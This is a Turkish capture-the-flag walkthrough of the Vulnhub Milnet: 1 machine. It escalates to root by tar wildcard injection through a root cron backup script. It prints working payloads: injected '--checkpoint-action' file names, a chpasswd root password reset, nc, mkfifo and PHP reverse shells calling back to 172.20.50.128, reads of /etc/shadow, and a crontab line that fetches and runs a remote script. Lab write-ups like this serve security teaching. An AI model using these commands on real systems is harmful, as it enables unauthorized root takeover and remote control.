Yazıda kullanılan Milnet: 1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/milnet-1,148/
Erişilen makinede “www-data” kullanıcısının standart yetkilere sahip olduğu ve kullanılan işletim sisteminin 64 bit mimarideki Ubuntu 16.04 LTS olduğu görülmektedir.
id
uname -a
cat /etc/*release*
head -3 /etc/passwd
tail -5 /etc/passwd
cat /etc/shadow
A) Hak Yükseltme Zafiyetinin Tespiti
Muhtemel hak yükseltme zafiyetlerinin listesi için LinEnum.sh isimli Bash betiği kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
İndirilen dosya bir servis (web gibi) üzerinden erişime açılır ve kurban makineye aktarılır.
md5sum LinEnum.sh
python -m SimpleHTTPServer 5555wget http://172.20.50.128:5555/LinEnum.sh -O /tmp/LinEnum.sh
ls -la /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
Betik çıktısı uzun olduğu için bir dosyaya yazdırılması gerekebilir.
cd /tmp/
./LinEnum.sh > Sonuc.txt
head -15 Sonuc.txt
Bu betiğin ilk 15 satırda başlık bilgisi bulunmaktadır. Sonraki satırlarda gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.
wc -l Sonuc.txt
tail -600 Sonuc.txt | grep -E “\[00;33m|\[00;31m”### SYSTEM ##############################################
Kernel information:
Kernel information (continued):
Specific release information:
Hostname:
### USER/GROUP ##########################################
Current user/group info:
Users that have previously logged onto the system:
Who else is logged on:
Group memberships:
Sample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):
Super user account(s):
We can sudo without supplying a password!
Are permissions on /home directories lax:
### ENVIRONMENTAL #######################################
Environment information:
Path information:
Available shells:
Current umask value:
umask value as specified in /etc/login.defs:
Password and storage information:
### JOBS/TASKS ##########################################
Cron jobs:
Crontab contents:
### NETWORKING ##########################################
Network & IP info:
Nameserver(s):
### SERVICES #############################################
Running processes:
Process binaries & associated permissions (from above list):
Contents of /etc/inetd.conf:
The related inetd binary permissions:
/etc/init.d/ binary permissions:
### SOFTWARE #############################################
Sudo version:
MYSQL version:
Apache user configuration:
Anything in the Apache home dirs?:
### INTERESTING FILES ####################################
Useful file locations:
Installed compilers:
Can we read/write sensitive files:
All *.conf files in /etc (recursive 1 level):
Current user’s history files:
Any interesting mail in /var/mail:
***We can read /var/mail/root! (snippet below)
Sonuç incelendiğinde zamanlanmış görevlerden birisi göze çarpmaktadır.
grep “Crontab contents” Sonuc.txt -A 17
B) Linux İşletim Sisteminde Zamanlanmış Görevler
Unix tabanlı sistemlerde belirli işleri belirli zamanlarda gerçekleştirmek için kullanılan yapılara Crontab adı verilir. Zamanlanmış görevler için aşağıdaki gibi bir söz dizimi bulunmaktadır:
D S AG A HG KOMUT
- D: Dakika (0 – 59)
- S: Saat (0 – 23)
- AG: Ayın kaçıncı günü (1 – 31)
- A: Ay (1 – 12) [1: Jan, 2:Feb,… 12: Dec ]
- HG: Haftanın kaçıncı günü (0 – 7) [0 veya 7: Pazar, 1: Pazartesi, 2: Salı, 3: Çarşamba, 4: Perşembe, 5: Cuma, 6: Cumartesi]
- KOMUT: Çalıştırılacak olan komut
5 dakikada bir çalışacak zamanlanmış görev için söz dizimi aşağıdaki gibidir.
*/5 * * * * cp /var/www/html/* /var/yedekler
Hergün 20.30’da çalışacak zamanlanmış görev için söz dizimi aşağıdaki gibidir.
30 20 * * * /home/eol/gunsonu.sh > /dev/null 2>&1
Ekim ayının her Çarşamba, Perşembe ve Cuma günü sabah 9.00, akşam 18.00’de çalışacak zamanlanmış görev için söz dizimi aşağıdaki gibidir.
0 9,18 * OCT 3-5 cp /etc/passwd /etc/passwd.yedek
Sadece Cumartesi günleri çalışacak bir zamanlanmış görev için söz dizimi aşağıdaki gibidir.
* * * * Saturday wget -O /tmp/emirler.sh http://10.20.30.40:5678/dosya.sh; chmod +x emirler.sh; ./emirler.sh /var/yedekler 3000 >/dev/null
Zamanlanmış görevler ile ilgili önemli dosya ve dizinler aşağıdaki gibi sıralanabilir.
- /etc/crontab: Zamanlanmış görevlerin bulunduğu dosya
- /etc/cron.d/: crond servisinin yapılandırma ayarlarının bulunduğu dizin
- /etc/cron.daily/: Günlük çalışacak zamanlanmış görevlerin bulunduğu dizin
- /etc/cron.hourly/: Saatlik çalışacak zamanlanmış görevlerin bulunduğu dizin
- /etc/cron.monthly/: Aylık çalışacak zamanlanmış görevlerin bulunduğu dizin
- /etc/cron.deny: Zamanlanmış görev oluşturması/ayarlaması yasak olan kullanıcıların listelendiği dosya
- /etc/cron.allow: Zamanlanmış görev oluşturmasına/ayarlamasına izin verilen kullanıcıların listelendiği dosya
- /var/spool/cron/: Crontab dosyalarının bulunduğu dizin
- /etc/at.deny: Belirli bir zamanda çalışacak olan görevi (betik/komut) oluşturması/ayarlaması yasak olan kullanıcıların listelendiği dosya
- /etc/at.allow: Belirli bir zamanda çalışacak olan görevi (betik/komut) oluşturmasına/ayarlamasına izin verilen kullanıcıların listelendiği dosya
Tüm kullanıcılar için hazırlanmış zamanlanmış görevleri listelemek için “crontab” aracı kullanılabilir.
for Hesap in
cat /etc/passwd | cut -d":" -f1
; do crontab -l -u $Hesap; done
C) Joker Karakteri ile Birlikte Kullanılan Tar Aracının İncelenmesi
Zamanlanmış görevler incelendiğinde, “root” kullanıcı yetkileri ile “backup.sh” adlı betik dikkat çekmektedir. Bu betik ile herkes tarafından yazılabilir olan “/var/www/html” dizinindeki dosyalar “/backup/backup.tgz” dosyasına arşivlenmektedir.
cat /etc/crontab
cat /backup/backup.sh
Joker karakterinin “tar” aracı ile beraber yazıldığı betiğin “root” yetkisi ile çalıştırılması ve çalışacak bu betiğin bulunduğu dizine herkes tarafından dosya oluşturulabilir olması hak yükseltme zafiyetine sebep olmaktadır. Uygulanabilecek bir Joker hilesi ile yetkisiz kullanıcının oluşturduğu bir betik çalıştırılabilir ve hak yükseltilebilir. Bu amaçla joker karakteri ile beraber kullanılan “tar” komutunun çalışacağı dizinde (“/var/www/html”) “— checkpoint=1“, “–checkpoint-action=exec=sh betik.sh” ve “betik.sh” diye üç dosya oluşturulur. Bu dizinde “tar cf /backup/backup.tgz *” komutu çalıştığında “–checkpoint=1 –checkpoint-action=exec=sh betik.sh” iki dosya olarak değil bir parametre olarak yorumlanır ve betik dosyasındaki ifade “tar cf /backup/backup.tgz * –checkpoint=1 –checkpoint-action=exec=sh betik.sh” olarak betiği çağıran kullanıcı (“root”) yetkileri ile çalışır.
ls -la /var/www
cd /var/www/html/
ls
echo “id > /tmp/KimlikBilgisi” > /var/www/html/betik.sh
chmod +x /var/www/html/betik.sh
touch “/var/www/html/–checkpoint-action=exec=sh betik.sh”
touch “/var/www/html/–checkpoint=1”
ls
date
Dakikada bir çalışan bu zamanlanmış görev sayesinde “betik.sh” dosyası çalıştırılmış ve “/tmp/KimlikBilgisi” dosyasına “id” komutunun çıktısı yazılmıştır.
date
cat /tmp/KimlikBilgisi
D) Joker Hilesi ile Hak Yükseltme: chpasswd
betik.sh dosyasına “root” hesabının parolasını değiştirecek bir komut yazılabilir. Sonra da “su” komutu veya SSH ile bağlanma yöntemi (ssh root@172.20.50.133 gibi) ile “root” kullanıcı haklarına erişim sağlanabilir.
date
echo “echo ‘root:Aa123456’ | chpasswd” > betik.sh
cat betik.sh
date
su – rootdate
id
Not: Bazı ortamlarda chpasswd aracı yerine passwd aracı ile de parola sıfırlanabilmektedir. Mevcut sanal makinede ise, “passwd” aracı ilk yöntemdeki (“-e” parametresi kullanılmadan) gibi kullanıldığında parola sıfırlanabilmekte iken, ikinci yöntemdeki gibi kullanıldığında parola sıfırlanamamaktadır.
echo “Aa123456\nAa123456” | passwd root
echo -e “Aa123456\nAa123456” | passwd root
Not: Alınan “su: must be run from a terminal” hatasını atlatmak için “python” gibi bir yöntem ilr terminale geçiş sağlanabilir.
python -c ‘import pty;pty.spawn(“/bin/bash”)’
which python
locate python
which python3.5
python3.5 -c ‘import pty;pty.spawn(“/bin/bash”)’
su – root
id
E) Joker Hilesi ile Ters Bağlantı Elde Etme: nc & php
“betik.sh” dosyasına ters bağlantı sağlayacak bir ifadenin yazılması ile ters bağlantı da elde edilebilir. Bu amaçla bir dinleyici başlatılır.
nc -nlvp 7777
“betik.sh” dosyasının içeriği düzenlenerek, dakikada bir çalışmaya ayarlanmış olan zamanlanmış görevin çalışması beklenir.
date
echo “rm /tmp/K;mkfifo /tmp/K;cat /tmp/K|/bin/bash -i 2>&1|nc 172.20.50.128 7777 > /tmp/K” > betik.sh
echo betik.sh
date
Zamanlanmış görev çalıştığında dinleyici tarafında talep yakalanır ve hak yükseltilmiş olur.
date
id
head -3 /etc/shadow
tail -3 /etc/shadow
Benzer olarak aşağıdaki kullanım ile de komut satırı elde edilebilirdi.
echo “rm /tmp/F;mkfifo /tmp/F;cat /tmp/F|/bin/bash -i 2>&1|nc 172.20.50.128 7777 >/tmp/F” > betik.sh
echo “mkfifo /tmp/T; cat /tmp/T | /bin/sh -i 2>&1 | nc 172.20.50.128 7777 > /tmp/T” > betik.sh
Not: Sanal makinede kurulu olan “nc” aracı “-e” parametresini kabul etmediği için aşağıdaki yöntem başarılı olamamıştır.
nc 172.20.50.128 7777 -e /bin/bash
Not: PHP ile ters bağlantı elde edilmeye çalışılırken varsayılan olarak dosya tanımlayıcısı 3 verilir. Eğer bağlantı elde edilemezse, bu tanımlayıcı 4,5,6 verilerek erişim elde edilmeye çalışılabilir.
echo “php -r ‘\$sock=fsockopen(\”172.20.50.128\”,7777);exec(\”/bin/sh -i <&3 >&3 2>&3\”);'” > betik.sh
cat betik.sh
date
echo “php -r ‘\$sock=fsockopen(\”172.20.50.128\”,7777);exec(\”/bin/sh -i <&4 >&4 2>&4\”);'” > betik.sh
date
cat betik.sh
Not: Mevcut sanal makinede “telnet” oaketi yüklü olmadığı için aşağıdaki yöntemler ile komut satırı elde edilmeye çalışılmışsa da başarılı olunamamıştır.
echo “rm -f /tmp/P; mknod /tmp/P P && telnet 172.20.50.128 7777 0/tmp/P” > betik.sh
Diğer ters bağlantı yöntemleri için kaynaklardaki Highon sayfası incelenebilir.
F) Joker Hilesi ile Diğer Hak Yükseltme Yöntemleri
Sanal makinedeki betik.sh dosyası dakikada bir “root” kullanıcı yetkisi ile çalışmaktadır. Bu dosyaya yazılabilecek bir betik ile istenilen işlemler yapılabilir. “/etc/sudoers” dosyasına ifade yazma, derlenen “setuid” dosyasını çalıştırma, dosya yetkilendirmesini (/bin/bash, /etc/passwd, /etc/shadow,…) değiştirmek bu yöntemlerin bir kaçıdır.
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- /dev/random: Pipe: https://www.vulnhub.com/entry/devrandom-pipe,124/
- zico2: 1: https://www.vulnhub.com/entry/zico2-1,210/
Kaynaklar:
https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
Vulnhub Walkthrough: Milnet 1
Milnet 1 Solution
https://github.com/mbs3c/milnet-ctf-writeup/wiki
https://highon.coffee/blog/reverse-shell-cheat-sheet/